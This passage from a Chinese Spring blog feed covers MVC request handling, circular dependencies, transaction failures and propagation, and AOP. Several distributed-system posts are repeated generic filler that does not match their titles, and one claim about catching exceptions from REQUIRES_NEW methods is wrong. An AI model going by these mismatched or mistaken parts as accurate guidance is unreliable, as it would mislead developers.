    ModelFactory modelFactory = getModelFactory(handlerMethod, binderFactory);
    
    // 3. 解析参数
    Object[] args = resolveArguments(request, handlerMethod, binderFactory);
    
    // 4. 执行方法
    Object returnValue = handlerMethod.invoke(args);
    
    // 5. 处理返回值
    return handleReturnValue(returnValue, handlerMethod);
}

参数解析

常用参数解析器

注解/类型解析器说明
@RequestParamRequestParamMethodArgumentResolver请求参数
@PathVariablePathVariableMethodArgumentResolverURL 路径变量
@RequestBodyRequestResponseBodyMethodProcessorJSON/XML 反序列化
@ModelAttributeServletModelAttributeMethodProcessor表单对象绑定
HttpServletRequestServletRequestMethodArgumentResolverServlet 请求
@RequestHeaderRequestHeaderMethodArgumentResolver请求头

自定义参数解析器

public class CurrentUserArgumentResolver implements HandlerMethodArgumentResolver {
    
    @Override
    public boolean supportsParameter(MethodParameter parameter) {
        return parameter.hasParameterAnnotation(CurrentUser.class) 
            && parameter.getParameterType() == User.class;
    }
    
    @Override
    public Object resolveArgument(MethodParameter parameter, 
                                  ModelAndViewContainer mavContainer,
                                  NativeWebRequest webRequest, 
                                  WebDataBinderFactory binderFactory) {
        // 从 Session/Token 获取当前用户
        return UserContext.getCurrentUser();
    }
}

// 注册
@Configuration
public class WebConfig implements WebMvcConfigurer {
    @Override
    public void addArgumentResolvers(List<HandlerMethodArgumentResolver> resolvers) {
        resolvers.add(new CurrentUserArgumentResolver());
    }
}

返回值处理

常用返回值处理器

返回值类型处理器说明
@ResponseBodyRequestResponseBodyMethodProcessorJSON/XML 序列化
StringViewNameMethodReturnValueHandler视图名称
ModelAndViewModelAndViewMethodReturnValueHandler模型和视图
voidViewNameMethodReturnValueHandler默认视图

HttpMessageConverter

@ResponseBody
    |
    v
RequestResponseBodyMethodProcessor
    |
    v
HttpMessageConverter
    ├── MappingJackson2HttpMessageConverter  # JSON
    ├── MappingJackson2XmlHttpMessageConverter  # XML
    └── StringHttpMessageConverter           # String

Interceptor 执行顺序

@Configuration
public class WebConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new AuthInterceptor())    // 顺序 1
                .addPathPatterns("/**")
                .excludePathPatterns("/login");
        
        registry.addInterceptor(new LogInterceptor())     // 顺序 2
                .addPathPatterns("/**");
    }
}
请求
  |
  ├── AuthInterceptor.preHandle()  -> true
  │     ├── LogInterceptor.preHandle()  -> true
  │     │     ├── Controller 执行
  │     │     ├── LogInterceptor.postHandle()
  │     ├── AuthInterceptor.postHandle()
  │     ├── 视图渲染
  │     ├── LogInterceptor.afterCompletion()
  ├── AuthInterceptor.afterCompletion()

异常处理

@ExceptionHandler

@ControllerAdvice
public class GlobalExceptionHandler {
    
    @ExceptionHandler(BusinessException.class)
    @ResponseBody
    public Result<?> handleBusiness(BusinessException e) {
        return Result.fail(e.getCode(), e.getMessage());
    }
    
    @ExceptionHandler(Exception.class)
    @ResponseBody
    public Result<?> handleException(Exception e) {
        return Result.fail(500, "系统错误");
    }
}

异常处理流程

Controller 抛出异常
    |
    v
DispatcherServlet.processHandlerException()
    |
    v
遍历 HandlerExceptionResolver
    ├── ExceptionHandlerExceptionResolver  # @ExceptionHandler
    ├── ResponseStatusExceptionResolver     # @ResponseStatus
    └── DefaultHandlerExceptionResolver   # Spring 默认异常
    |
    v
生成 ModelAndView 或重新抛出

总结

Spring MVC 的请求处理流程清晰分层：

  1. DispatcherServlet：统一入口
  2. HandlerMapping：路由匹配
  3. HandlerAdapter：适配执行
  4. ArgumentResolver：参数解析
  5. Controller：业务处理
  6. ReturnValueHandler：返回值处理
  7. ViewResolver：视图解析
  8. Interceptor：横切处理

理解这个流程，可以灵活扩展 Spring MVC 的功能，如自定义参数解析、返回值处理、异常处理等。

]]> Spring 学习笔记 Spring 分布式事务为什么难 //fen-bu-shi-shi-wu-wei-shi-me-nan/ 分布式事务为什么难

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> 分布式 分布式 架构 Spring循环依赖与三级缓存 //spring-xun-huan-yi-lai-yu-san-ji-huan-cun/ Spring循环依赖与三级缓存

循环依赖是 Spring 应用中常见的问题。理解 Spring 如何解决循环依赖，有助于排查 Bean 创建异常和设计更好的代码。

什么是循环依赖

@Component
public class A {
    @Autowired
    private B b;  // A 依赖 B
}

@Component
public class B {
    @Autowired
    private A a;  // B 依赖 A
}
创建 A -> 需要 B
    -> 创建 B -> 需要 A
        -> 创建 A -> 循环！

Spring 如何解决

Spring 通过三级缓存解决 setter 注入的循环依赖。

三级缓存结构

public class DefaultSingletonBeanRegistry {
    // 一级缓存：完整的单例 Bean
    private final Map<String, Object> singletonObjects = new ConcurrentHashMap<>(256);
    
    // 二级缓存：提前暴露的 Bean（未填充属性）
    private final Map<String, Object> earlySingletonObjects = new ConcurrentHashMap<>(16);
    
    // 三级缓存：Bean 的工厂（用于生成代理对象）
    private final Map<String, ObjectFactory<?>> singletonFactories = new HashMap<>(16);
}

解决流程

1. getBean(A)
   ├── 标记 A 正在创建
   ├── 实例化 A（调用构造器）
   ├── 将 A 的 ObjectFactory 放入三级缓存
   ├── 填充 A 的属性 -> 发现需要 B
   │
   ├── getBean(B)
   │   ├── 标记 B 正在创建
   │   ├── 实例化 B
   │   ├── 将 B 的 ObjectFactory 放入三级缓存
   │   ├── 填充 B 的属性 -> 发现需要 A
   │   │
   │   ├── getBean(A)
   │   │   ├── 从三级缓存获取 A 的 ObjectFactory
   │   │   ├── 执行 getObject() -> 获取 A 的早期引用
   │   │   └── 将 A 放入二级缓存，从三级缓存删除
   │   │
   │   ├── B 的属性填充完成（A 的早期引用）
   │   ├── B 初始化完成
   │   └── 将 B 放入一级缓存
   │
   ├── A 的属性填充完成（B 的完整引用）
   ├── A 初始化完成
   └── 将 A 放入一级缓存

关键代码

protected Object getSingleton(String beanName, boolean allowEarlyReference) {
    // 1. 从一级缓存获取
    Object singletonObject = this.singletonObjects.get(beanName);
    if (singletonObject == null && isSingletonCurrentlyInCreation(beanName)) {
        synchronized (this.singletonObjects) {
            singletonObject = this.singletonObjects.get(beanName);
            if (singletonObject == null) {
                // 2. 从二级缓存获取
                singletonObject = this.earlySingletonObjects.get(beanName);
                if (singletonObject == null && allowEarlyReference) {
                    // 3. 从三级缓存获取
                    ObjectFactory<?> singletonFactory = this.singletonFactories.get(beanName);
                    if (singletonFactory != null) {
                        singletonObject = singletonFactory.getObject();
                        // 升级到二级缓存
                        this.earlySingletonObjects.put(beanName, singletonObject);
                        this.singletonFactories.remove(beanName);
                    }
                }
            }
        }
    }
    return singletonObject;
}

构造器循环依赖无法解决

@Component
public class A {
    private final B b;
    
    public A(B b) {  // 构造器注入
        this.b = b;
    }
}

@Component
public class B {
    private final A a;
    
    public B(A a) {  // 构造器注入
        this.a = a;
    }
}

原因：

  • 构造器注入时，对象必须先完全创建才能暴露
  • 但 A 创建需要 B，B 创建需要 A
  • 无法像 setter 注入那样先暴露早期引用

错误：

BeanCurrentlyInCreationException: 
Error creating bean with name 'A': Requested bean is currently in creation

解决方案

方案1：改为 Setter 注入

@Component
public class A {
    @Autowired
    private B b;  // setter/field 注入
}

方案2：使用 @Lazy

@Component
public class A {
    private final B b;
    
    public A(@Lazy B b) {  // 延迟注入
        this.b = b;
    }
}

原理：注入的是 B 的代理对象，延迟到真正使用时才创建。

方案3：重新设计（推荐）

// 提取公共逻辑到 C
@Component
public class C {
    // 公共方法
}

@Component
public class A {
    @Autowired
    private C c;
}

@Component
public class B {
    @Autowired
    private C c;
}

三级缓存的设计原因

为什么需要三级？

只用一级缓存：

  • 问题：循环依赖时，A 还没创建完就被 B 引用，一级缓存中是完整的 Bean
  • 解决：需要提前暴露未完成的 Bean

只用二级缓存：

  • 问题：如果 A 需要代理，提前暴露的应该是代理对象
  • 二级缓存直接存对象，无法处理代理

三级缓存：

  • 三级存 ObjectFactory，可以决定暴露原始对象还是代理对象
  • AbstractAutowireCapableBeanFactory.getEarlyBeanReference() 处理代理
addSingletonFactory(beanName, () -> getEarlyBeanReference(beanName, mbd, bean));

protected Object getEarlyBeanReference(String beanName, RootBeanDefinition mbd, Object bean) {
    Object exposedObject = bean;
    // 如果配置了 SmartInstantiationAwareBeanPostProcessor（如AOP）
    // 返回代理对象
    for (BeanPostProcessor bp : getBeanPostProcessors()) {
        if (bp instanceof SmartInstantiationAwareBeanPostProcessor) {
            SmartInstantiationAwareBeanPostProcessor ibp = 
                (SmartInstantiationAwareBeanPostProcessor) bp;
            exposedObject = ibp.getEarlyBeanReference(exposedObject, beanName);
        }
    }
    return exposedObject;
}

多例循环依赖

@Scope("prototype")
@Component
public class A {
    @Autowired
    private B b;
}

@Scope("prototype")
@Component
public class B {
    @Autowired
    private A a;
}

问题：

  • 多例 Bean 不缓存，每次创建都是新的
  • 每次 getBean(A) 都要创建新的 A，创建 A 需要新的 B，创建 B 需要新的 A
  • 无限循环

解决：

  • 避免多例 Bean 的循环依赖
  • 或使用 @Lazy

总结

场景能否解决方案
单例 setter 循环依赖可以三级缓存
单例构造器循环依赖不可以改 setter / @Lazy / 重构
多例循环依赖不可以避免 / @Lazy

三级缓存的设计精妙之处：

  1. 一级：保证单例唯一
  2. 二级：支持提前暴露
  3. 三级：支持代理对象的提前暴露

理解循环依赖的解决机制，有助于写出更健壮的 Spring 代码。

]]> Spring 学习笔记 Spring 接口幂等性设计从业务开始 //jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/ 接口幂等性设计从业务开始

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 Spring事务失效的常见原因 //spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/ Spring事务失效的常见原因

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

原因1：同类方法调用

#

问题

@Service
public class OrderService {
    
    @Transactional
    public void createOrder() {
        orderDao.save(order);
        updateStock();  // 同类调用，不走代理！
    }
    
    @Transactional(rollbackFor = Exception.class)
    public void updateStock() {
        stockDao.deduct(stock);
        throw new RuntimeException("库存不足");
    }
}

结果：updateStock 抛异常，但 createOrder 的事务不回滚！

#

原理

外部调用 createOrder()
    └── OrderServiceProxy.createOrder()  ← 代理，开启事务
        └── OrderService.createOrder()  ← 目标对象
            └── this.updateStock()  ← 直接调用，不走代理
                └── 事务不生效

#

解决

@Service
public class OrderService {
    @Autowired
    private ApplicationContext context;
    
    @Transactional
    public void createOrder() {
        orderDao.save(order);
        
        // 通过代理调用
        OrderService proxy = context.getBean(OrderService.class);
        proxy.updateStock();
    }
}

或注入自身：

@Service
public class OrderService {
    @Autowired
    private OrderService self;  // 注入代理对象
    
    @Transactional
    public void createOrder() {
        orderDao.save(order);
        self.updateStock();  // 通过代理调用
    }
}

原因2：方法不是 public

@Service
public class OrderService {
    @Transactional
    private void updateStock() {  // 非public，事务不生效！
        stockDao.deduct(stock);
    }
}

原理：Spring AOP 基于代理，非 public 方法无法被代理。

原因3：异常被吃掉

@Service
public class OrderService {
    @Transactional
    public void createOrder() {
        try {
            stockDao.deduct(stock);
        } catch (Exception e) {
            // 异常被捕获，事务认为成功提交！
            log.error("扣减库存失败", e);
        }
    }
}

#

解决

@Transactional
public void createOrder() {
    try {
        stockDao.deduct(stock);
    } catch (Exception e) {
        log.error("扣减库存失败", e);
        throw new RuntimeException(e);  // 重新抛出
    }
}

// 或手动回滚
@Transactional
public void createOrder() {
    try {
        stockDao.deduct(stock);
    } catch (Exception e) {
        log.error("扣减库存失败", e);
        TransactionAspectSupport.currentTransactionStatus().setRollbackOnly();
    }
}

原因4：rollbackFor 配置不当

@Service
public class OrderService {
    @Transactional  // 默认只回滚 RuntimeException
    public void createOrder() throws Exception {
        orderDao.save(order);
        throw new Exception("错误");  // 非 RuntimeException，不回滚！
    }
}

#

解决

@Transactional(rollbackFor = Exception.class)  // 指定回滚所有异常
public void createOrder() throws Exception {
    // ...
}

原因5：数据库引擎不支持事务

-- MySQL MyISAM 引擎不支持事务
CREATE TABLE order (...) ENGINE=MyISAM;

-- 应使用 InnoDB
CREATE TABLE order (...) ENGINE=InnoDB;

原因6：事务管理器配置错误

@Configuration
@EnableTransactionManagement
public class Config {
    
    @Bean
    public PlatformTransactionManager transactionManager(DataSource dataSource) {
        return new DataSourceTransactionManager(dataSource);
    }
}

问题：

  • 使用了 JPA 但配置的是 DataSourceTransactionManager
  • 多数据源时没指定 transactionManager
@Transactional(transactionManager = "orderTransactionManager")
public void createOrder() { }

原因7：方法被 final/static 修饰

@Service
public class OrderService {
    @Transactional
    public final void createOrder() {  // final 方法无法被 CGLIB 代理
        // ...
    }
}

原因8：异步方法

@Service
public class OrderService {
    @Transactional
    @Async  // 事务和异步同时使用时可能有问题
    public void createOrder() {
        // 异步执行时，原线程的事务上下文可能丢失
    }
}

#

解决

@Service
public class OrderService {
    @Autowired
    private OrderAsyncService asyncService;
    
    @Transactional
    public void createOrder() {
        orderDao.save(order);
        // 事务提交后再异步
        asyncService.sendMessage(order);
    }
}

@Service
public class OrderAsyncService {
    @Async
    public void sendMessage(Order order) {
        // 异步逻辑
    }
}

事务失效排查清单

检查项正确做法
调用方式通过代理调用，避免同类 this 调用
方法修饰符public
异常处理不要吞掉异常，或手动 setRollbackOnly
rollbackFor根据业务指定，建议 Exception.class
数据库引擎InnoDB
事务管理器与持久层框架匹配
final/static避免
异步分离事务和异步操作

调试技巧

#

1. 查看代理类

System.out.println(orderService.getClass());
// class com.example.OrderService$$EnhancerBySpringCGLIB$$

#

2. 开启事务日志

logging.level.org.springframework.transaction=DEBUG
logging.level.org.springframework.jdbc=DEBUG

#

3. 断点调试

@Transactional
public void createOrder() {
    // 断点这里，查看 TransactionSynchronizationManager.isActualTransactionActive()
    // 返回 true 表示事务生效
}

总结

Spring 事务失效的原因大多与 AOP 代理机制有关：

  1. 同类调用：不走代理
  2. 非 public：无法代理
  3. 异常被吃：无法触发回滚
  4. rollbackFor 不当：非 RuntimeException 不回滚
  5. 数据库引擎：MyISAM 不支持
  6. 配置错误：事务管理器不匹配
  7. final/static：CGLIB 无法代理
  8. 异步：事务上下文丢失

理解这些原因，可以避免大部分事务问题。遇到事务失效时，按清单逐项排查即可。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> Spring 学习笔记 Spring 分布式 ID 生成方案怎么选 //fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/ 分布式 ID 生成方案怎么选

分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 Spring事务传播机制详解 //spring-shi-wu-chuan-bo-ji-zhi-xiang-jie/ Spring事务传播机制详解

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

七种传播行为

传播行为含义
REQUIRED默认，当前有事务则加入，无则新建
SUPPORTS有事务则加入，无则以非事务执行
MANDATORY必须有事务，无则抛异常
REQUIRES_NEW挂起当前事务，创建新事务
NOT_SUPPORTED挂起当前事务，以非事务执行
NEVER必须无事务，有则抛异常
NESTED在当前事务中创建嵌套事务（savepoint）

REQUIRED（默认）

@Service
public class OrderService {
    @Transactional
    public void createOrder() {
        // 当前无事务，创建新事务 T1
        orderDao.insert(order);
        
        // 调用另一个事务方法
        stockService.deductStock();  // 加入 T1
    }
}

@Service
public class StockService {
    @Transactional(propagation = Propagation.REQUIRED)
    public void deductStock() {
        // 已有事务 T1，加入
        stockDao.update(stock);
    }
}
createOrder()
    └── 事务 T1 开始
        ├── orderDao.insert()  ← 在 T1 中
        ├── deductStock()
        │   └── stockDao.update()  ← 也在 T1 中
        └── 事务 T1 提交/回滚（整体）

REQUIRES_NEW

@Service
public class OrderService {
    @Transactional
    public void createOrder() {
        orderDao.insert(order);  // 事务 T1
        
        // 挂起 T1，创建新事务 T2
        logService.saveLog();    // 独立事务
        
        // 恢复 T1
        orderDao.update(order);  // 回到 T1
    }
}

@Service
public class LogService {
    @Transactional(propagation = Propagation.REQUIRES_NEW)
    public void saveLog() {
        // 新事务 T2
        logDao.insert(log);
    }
}
createOrder()
    └── 事务 T1 开始
        ├── orderDao.insert()  ← T1
        ├── saveLog()
        │   ├── 挂起 T1
        │   ├── 事务 T2 开始
        │   ├── logDao.insert()  ← T2
        │   └── 事务 T2 提交/回滚
        ├── 恢复 T1
        └── orderDao.update()  ← T1

适用场景：日志记录、审计，即使主业务回滚也要保存。

NESTED

@Service
public class OrderService {
    @Transactional
    public void createOrder() {
        orderDao.insert(order);  // T1
        
        try {
            // 创建 savepoint
            paymentService.charge();  // 嵌套事务
        } catch (Exception e) {
            // 只回滚到 savepoint，T1 继续
        }
        
        orderDao.update(order);  // T1
    }
}

@Service
public class PaymentService {
    @Transactional(propagation = Propagation.NESTED)
    public void charge() {
        paymentDao.insert(payment);
        if (payment.getAmount().compareTo(BigDecimal.ZERO) < 0) {
            throw new IllegalArgumentException("金额不能为负");
        }
    }
}
createOrder()
    └── 事务 T1 开始
        ├── orderDao.insert()  ← T1
        ├── charge()
        │   ├── savepoint SP1 创建
        │   ├── paymentDao.insert()  ← 在 SP1 后
        │   ├── 异常发生
        │   └── 回滚到 SP1（T1 未回滚）
        ├── 继续 T1
        └── orderDao.update()  ← T1

NESTED vs REQUIRES_NEW：

特性NESTEDREQUIRES_NEW
事务关系父子事务独立事务
回滚影响子回滚不影响父互不影响
实现方式Savepoint挂起+新事务
提交随父事务一起提交独立提交

传播行为对比

@Service
public class DemoService {
    
    @Transactional
    public void caller() {
        // 场景1：REQUIRED（默认）
        calleeRequired();  // 加入当前事务
        
        // 场景2：REQUIRES_NEW
        calleeRequiresNew();  // 新事务，挂起当前
        
        // 场景3：NESTED
        calleeNested();  // 创建 savepoint
        
        // 场景4：SUPPORTS
        calleeSupports();  // 有事务则加入，无则非事务
        
        // 场景5：NOT_SUPPORTED
        calleeNotSupported();  // 挂起事务，非事务执行
        
        // 场景6：MANDATORY
        calleeMandatory();  // 必须有事务，否则抛异常
        
        // 场景7：NEVER
        calleeNever();  // 必须无事务，否则抛异常
    }
}

实际应用案例

#

案例1：订单创建（REQUIRED + REQUIRES_NEW）

@Service
public class OrderService {
    @Transactional
    public void createOrder(OrderRequest request) {
        // 1. 创建订单（主事务）
        Order order = orderDao.save(request.toOrder());
        
        // 2. 扣减库存（主事务）
        stockService.deduct(order.getSkuId(), order.getQuantity());
        
        // 3. 记录日志（独立事务，失败不影响主业务）
        logService.saveOperationLog("CREATE_ORDER", order.getId());
        
        // 4. 发送消息（独立事务）
        messageService.sendOrderCreatedMessage(order);
    }
}

#

案例2：部分回滚（NESTED）

@Service
public class BatchService {
    @Transactional
    public void batchImport(List<Data> dataList) {
        for (Data data : dataList) {
            try {
                importService.importSingle(data);  // NESTED
            } catch (Exception e) {
                // 单条失败，记录错误，继续处理下一条
                errorLogService.save(data.getId(), e.getMessage());
            }
        }
    }
}

#

案例3：只读查询（SUPPORTS/NOT_SUPPORTED）

@Service
public class ReportService {
    @Transactional(propagation = Propagation.SUPPORTS, readOnly = true)
    public Report generateReport() {
        // 如果调用方有事务，加入；无事务，非事务执行
        return reportDao.generate();
    }
}

注意事项

#

1. 同类方法调用不生效

@Service
public class OrderService {
    @Transactional
    public void createOrder() {
        saveLog();  // 传播行为不生效！直接调用不走代理
    }
    
    @Transactional(propagation = Propagation.REQUIRES_NEW)
    public void saveLog() {
        // ...
    }
}

解决：

@Service
public class OrderService {
    @Autowired
    private ApplicationContext context;
    
    @Transactional
    public void createOrder() {
        OrderService proxy = context.getBean(OrderService.class);
        proxy.saveLog();  // 通过代理调用
    }
}

#

2. 异常回滚规则

@Transactional(rollbackFor = Exception.class)  // 默认只回滚 RuntimeException
public void method() throws Exception {
    // ...
}

#

3. REQUIRES_NEW 的坑

@Transactional
public void parent() {
    try {
        childRequiresNew();  // REQUIRES_NEW
    } catch (Exception e) {
        // child 的新事务已提交或回滚，这里捕获不到其异常！
    }
}

总结

传播行为使用场景
REQUIRED默认，大多数场景
REQUIRES_NEW独立操作（日志、消息）
NESTED部分回滚
SUPPORTS查询，不强制事务
NOT_SUPPORTED复杂查询，避免事务开销
MANDATORY强制必须在事务中
NEVER强制必须不在事务中

选择正确的传播行为，可以避免事务问题，提高系统可靠性。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> Spring 学习笔记 Spring 延迟队列的业务场景和实现思路 //yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/ 延迟队列的业务场景和实现思路

延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 Spring AOP的原理和常见应用 //spring-aop-de-yuan-li-he-chang-jian-ying-yong/ Spring AOP的原理和常见应用

AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。

核心概念

术语说明类比
Aspect切面，横切关注点的模块化一个功能模块
Join Point连接点，程序执行过程中的点方法调用
Pointcut切点，定义哪些连接点会被拦截拦截规则
Advice通知，切点处执行的动作拦截后的处理
Target目标对象，被代理的原始对象业务类
Proxy代理对象包装后的类
Weaving织入，将切面应用到目标对象装配过程

Advice 类型

@Aspect
@Component
public class LogAspect {
    
    // 前置通知
    @Before("execution(* com.example.service.*.*(..))")
    public void before(JoinPoint jp) {
        System.out.println("方法调用前: " + jp.getSignature().getName());
    }
    
    // 后置通知（无论是否异常）
    @After("execution(* com.example.service.*.*(..))")
    public void after() {
        System.out.println("方法调用后");
    }
    
    // 返回通知
    @AfterReturning(pointcut = "..", returning = "result")
    public void afterReturning(Object result) {
        System.out.println("方法返回: " + result);
    }
    
    // 异常通知
    @AfterThrowing(pointcut = "..", throwing = "ex")
    public void afterThrowing(Exception ex) {
        System.out.println("方法异常: " + ex.getMessage());
    }
    
    // 环绕通知
    @Around("execution(* com.example.service.*.*(..))")
    public Object around(ProceedingJoinPoint pjp) throws Throwable {
        long start = System.currentTimeMillis();
        Object result = pjp.proceed();  // 执行目标方法
        long cost = System.currentTimeMillis() - start;
        System.out.println("耗时: " + cost + "ms");
        return result;
    }
}

AOP 实现原理

#

1. JDK 动态代理

适用：目标类实现了接口。

public class JdkProxy implements InvocationHandler {
    private Object target;
    
    public Object createProxy(Object target) {
        this.target = target;
        return Proxy.newProxyInstance(
            target.getClass().getClassLoader(),
            target.getClass().getInterfaces(),
            this
        );
    }
    
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("前置增强");
        Object result = method.invoke(target, args);
        System.out.println("后置增强");
        return result;
    }
}

#

2. CGLIB 代理

适用：目标类没有实现接口。

public class CglibProxy implements MethodInterceptor {
    
    public Object createProxy(Class<?> clazz) {
        Enhancer enhancer = new Enhancer();
        enhancer.setSuperclass(clazz);
        enhancer.setCallback(this);
        return enhancer.create();
    }
    
    @Override
    public Object intercept(Object obj, Method method, Object[] args, MethodProxy proxy) throws Throwable {
        System.out.println("前置增强");
        Object result = proxy.invokeSuper(obj, args);
        System.out.println("后置增强");
        return result;
    }
}

#

Spring 的选择

// 有接口 -> JDK 代理
// 无接口 -> CGLIB
// 强制 CGLIB：@EnableAspectJAutoProxy(proxyTargetClass = true)
特性JDK 代理CGLIB
要求实现接口无要求
原理实现接口继承子类
性能稍差（反射）稍好（FastClass）
final 方法支持不支持
构造函数不调用调用

常见应用场景

#

1. 日志记录

@Aspect
@Component
public class LogAspect {
    
    @Around("@annotation(com.example.annotation.OperationLog)")
    public Object around(ProceedingJoinPoint pjp) throws Throwable {
        MethodSignature signature = (MethodSignature) pjp.getSignature();
        OperationLog annotation = signature.getMethod().getAnnotation(OperationLog.class);
        
        String operation = annotation.value();
        String params = Arrays.toString(pjp.getArgs());
        
        long start = System.currentTimeMillis();
        Object result = pjp.proceed();
        long cost = System.currentTimeMillis() - start;
        
        log.info("操作: {}, 参数: {}, 耗时: {}ms", operation, params, cost);
        return result;
    }
}

// 使用
@Service
public class OrderService {
    @OperationLog("创建订单")
    public Order createOrder(CreateOrderRequest request) {
        // ...
    }
}

#

2. 权限校验

@Aspect
@Component
public class AuthAspect {
    
    @Around("@annotation(com.example.annotation.RequireRole)")
    public Object around(ProceedingJoinPoint pjp) throws Throwable {
        MethodSignature signature = (MethodSignature) pjp.getSignature();
        RequireRole annotation = signature.getMethod().getAnnotation(RequireRole.class);
        
        String requiredRole = annotation.value();
        String currentRole = getCurrentUserRole();
        
        if (!requiredRole.equals(currentRole)) {
            throw new UnauthorizedException("权限不足");
        }
        
        return pjp.proceed();
    }
}

#

3. 性能监控

@Aspect
@Component
public class MetricsAspect {
    
    @Around("execution(* com.example.controller.*.*(..))")
    public Object around(ProceedingJoinPoint pjp) throws Throwable {
        String method = pjp.getSignature().toShortString();
        Timer timer = Metrics.timer("http.request", "method", method);
        
        return timer.recordCallable(() -> {
            try {
                return pjp.proceed();
            } catch (Throwable e) {
                throw new RuntimeException(e);
            }
        });
    }
}

#

4. 缓存

@Aspect
@Component
public class CacheAspect {
    
    @Around("@annotation(com.example.annotation.Cacheable)")
    public Object around(ProceedingJoinPoint pjp) throws Throwable {
        String key = generateKey(pjp);
        Object cached = redisTemplate.opsForValue().get(key);
        
        if (cached != null) {
            return cached;
        }
        
        Object result = pjp.proceed();
        redisTemplate.opsForValue().set(key, result, Duration.ofMinutes(10));
        return result;
    }
}

注意事项

#

1. 同类方法调用不生效

@Service
public class UserService {
    public void methodA() {
        methodB();  // AOP 不生效！直接调用，不走代理
    }
    
    @Transactional
    public void methodB() {
        // ...
    }
}

解决：

@Service
public class UserService {
    @Autowired
    private ApplicationContext context;
    
    public void methodA() {
        // 通过代理调用
